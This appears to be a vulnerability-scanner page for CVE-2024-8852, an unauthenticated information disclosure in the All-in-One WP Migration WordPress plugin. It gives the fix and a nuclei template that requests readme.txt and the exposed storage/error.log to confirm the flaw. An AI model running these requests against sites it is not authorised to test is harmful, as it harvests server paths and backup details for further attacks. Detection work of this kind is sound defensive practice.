All-in-One WP Migration < 7.87 - Unauthenticated Information Disclosure

mediumseverity

5.3CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to unauthenticated information disclosure due to its error.log file being publicly accessible in versions before 7.87.

Impact

An unauthenticated attacker can access the error.log file, which may contain sensitive information such as full server path disclosures, backup filenames, and other debugging details. This information could be used in further attacks.

Fix

Update the All-in-One WP Migration and Backup plugin to version 7.87 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt
Positive when: status_code == 200 and compare_versions(version, '< 7.87')
Send: GET {{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/storage/error.log
Positive when: status_code == 200 and contains_all(body, 'Number', 'Message') and contains(tolower(header), 'text/plain')

Run it with nuclei: nuclei -id CVE-2024-8852 -u <target>

The full check

id: CVE-2024-8852

info:
  name: All-in-One WP Migration < 7.87 - Unauthenticated Information Disclosure
  author: FLX
  severity: medium
  description: |
    The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to unauthenticated information disclosure due to its error.log file being publicly accessible in versions before 7.87.
  impact: |
    An unauthenticated attacker can access the error.log file, which may contain sensitive information such as full server path disclosures, backup filenames, and other debugging details. This information could be used in further attacks.
  remediation: |
    Update the All-in-One WP Migration and Backup plugin to version 7.87 or later.
  reference:
    - https://wpscan.com/vulnerability/9f533098-8435-4ee1-a423-5142070ceefc/
    - https://wordpress.org/plugins/all-in-one-wp-migration/#developers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-8852
    epss-score: 0.01197
    epss-percentile: 0.68357
    cwe-id: CWE-532
  metadata:
    verified: true
    fofa-query: body="/wp-content/plugins/all-in-one-wp-migration"
  tags: cve,cve2024,wpscan,wp,wordpress,wp-plugin,all-in-one-wp-migration,disclosure,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - compare_versions(version, '< 7.87')
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "(?mi)Stable tag: ([0-9.]+)"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/all-in-one-wp-migration/storage/error.log"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'Number', 'Message')
          - contains(tolower(header), 'text/plain')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from